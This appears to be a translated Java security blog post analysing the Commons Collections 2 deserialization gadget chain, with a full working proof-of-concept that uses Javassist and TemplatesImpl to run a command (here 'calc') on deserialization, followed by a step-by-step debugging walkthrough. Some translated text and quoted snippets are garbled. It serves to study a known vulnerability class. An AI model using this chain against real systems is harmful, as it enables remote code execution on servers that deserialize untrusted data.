Common collections2 analysis of Java Security

Common collections2 analysis of Java Security

Launch: common collections2 analysis of Java Security

0x00 Preface

The utilization chain of CC1 has been analyzed, but it is found that there are version restrictions in the utilization chain of CC1. At jdk1 After version 8 8u71, the readObject of annotationinvocationhandler has been rewritten. As a result, the utilization chain in the higher version cannot be used.

There are other utilization chains. The CC2 chain is not constructed by annotationinvocationhandler, but by using

Javassist and PriorityQueue are used to construct the utilization chain.

Common-collections-4.0 is used in the CC2 chain, but CC1 can actually be used in common-collections-4.0. However, common-collections-4.0 deletes the decode method of lazymap. At this time, we can use the lazymap method instead. However, a question arises here: why use commons-collections-4.03 in CC2 chain Version 2.1-3.1 cannot be used, but commons-collections-4.04 is used Version of 0? After consulting some data in the middle, it is found that it is in 3.1-3.2 In version 1, the transforming comparator does not implement the serializable interface, that is, it cannot be serialized. So you can't use him to construct on the use chain.

Now I'll stick the use chain.

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

Let's learn the basic knowledge we need. As mentioned in the previous article on javassist, you can refer to this article: javassist dynamic programming for Java security

0x01 pre knowledge

PriorityQueue

Construction method:

PriorityQueue()           
	使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

Common methods:

add(E e)           			将指定的元素插入此优先级队列
clear()            			从此优先级队列中移除所有元素。
comparator()       			返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 true。
iterator()           		返回在此队列中的元素上进行迭代的迭代器。
offer(E e)           		将指定的元素插入此优先级队列
peek()           			获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()           			获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)           	从此队列中移除指定元素的单个实例(如果存在)。
size()           			返回此 collection 中的元素数。
toArray()          			返回一个包含此队列所有元素的数组。

Code example:

 public static void main(String[] args) {
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(2);
        priorityQueue.add(1);
        System.out.println(priorityQueue.poll());
        System.out.println(priorityQueue.poll());
    }

result:

1
2

getDeclaredField

Getdeclaraedfield is a method of the class superclass. This method is used to obtain a field that already exists in the class or interface, that is, the member variable.

The method returns a field object.

Field

Common methods:

get			返回该所表示的字段的值 Field ,指定的对象上。 
set			将指定对象参数上的此 Field对象表示的字段设置为指定的新值。

TransformingComparator

Transforming comparator is a decorator similar to chained transformer in CC1.

Take a look at the constructor of this class

Here is an interesting point. The compare method will call the transform method of the transformer and smell the smell of CC1.

0x02 POC analysis

package com.test;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}


Let's look at the first code:

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

I've divided it into several parts here. The meaning of this code can be simply understood as creating a dynamic class, setting the parent class and adding command execution content.

First of all, a question is raised here. The above code adds the search path where the abstracttranslet is located, and sets the abstracttranslet as the parent class of the dynamically created class. Why do you need to set the abstracttranslet as the parent class of the newly created class? We won't do the answer here, but we'll talk about it later when we analyze POC.

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

The second part of the code, reflection acquisition_ The value of bytecodes is set to the bytecode of the converted payload_ Name is set to test in the same way.

So why do you need this setting? Why do I need to set_ Bytecodes is the bytecode whose value is paylaod? This is the second question raised.

Here's an answer to the second question.

Take a look at templatesimpl_ Where bytecodes are called

After load The defineclass method returned_ class。 Called in the gettransletinstance () method__ class. Newinstance() method. That is, instantiate the payload we passed in. This is why the templatesimpl class is used instead of other classes.

And I see that it is strongly converted to the abstracttranslet class type. This is also the reason why we should inherit abstracttranslet as the parent class in the first question.

Then you need to find the place where gettransletinstance is called. In the newtransformer method of templatesimpl, the gettranslateinstance method will actually be called.

At this time, we should consider how to call the newtransformer. The solution given in the POC is to use the invokertransformer reflection to call.

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

This again uses the transforming comparator. Why? In fact, it was said in the place of pre knowledge. The compare method of transformingcomparator will call the transform method of the passed in parameter.

The method of compare needs to be implemented by PriorityQueue.

View the corresponding POC code

PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

The siftdownusingcomparator method will call compare of the comparator.

The siftdownusingcomparator will be called in the siftdown method

Siftdown will be called at heapify, and heapify will be called at the readObject replication point.

Let's look at the last piece of code in POC

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,templatesImpl});

Set queue Queue is an object [] array, and the contents are instantiated objects of two templatesimpl instances with built-in malicious code. In this way, the parameters will be passed in when calling the heapify method.

So far, it is clear why POC is so constructed, but it is not clear about the complete execution process of a complete chain. It is necessary to debug it again. The analysis just now is actually a reverse analysis.

0x03 POC commissioning

Make a breakpoint at the readObject position to see that during deserialization, the readObject of PriorityQueue is called, and this readObject method will call the heapify method.

Heapify will call the siftdown method and pass in the queue, which is the templatesimpl instantiation object just passed in to construct malicious code.

If the method judges that the comparator is not empty, it will call the siftdownusingcomparator, which is an invokertransformer instantiation object modified by the transformingcomparator.

Following up to the siftdownusingcomparator method, we found that the method will call comparator's compare, because our compare here is an invokertransformer instantiation object modified by transformingcomparator. Therefore, compare of transforming comparator is called here.

The two parameters passed in here are templatesimpl instantiation objects.

Follow up to the method, this The imethodname content called the newtransformer method for the newtransformer reflection. Follow up.

Newtransformer calls the gettransletinstance method.

Follow up the gettransletinstance method. Here you will find that first judge whether it is empty. If it is empty, call definetransletclasses() to assign the value. Here is to_ Bytecodes assigned to_ class。

After definetransletclasses() is executed, it will jump back to the previous place and pay attention to the first if judgment statement if_ If name is equal to null, it will directly return null without executing the following code. That's why the front_ Name is the reason for setting the value.

Let's look at his next code

Yes_ class. Newinstance() pair_ Class. After this step, a calculator will pop up.

At the end, the question comes again. Why does newinstance () execute the command when it instantiates an object?

In fact, this involves how to construct objects in javassist.

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

Write out this class and see how it is constructed.

After seeing the code, it is clear that the runtime command execution code is in the static code block, which will be executed when the new object is used.

Call chain

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 end

In fact, I think it is of little significance to use the POC code written by others to see his call steps when analyzing and using the chain. When analyzing the use chain, we need to think about why the POC of the use chain should be written like this. This is also the reason why I have been throwing questions in this article. These questions are what I considered at the beginning and need to think more.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>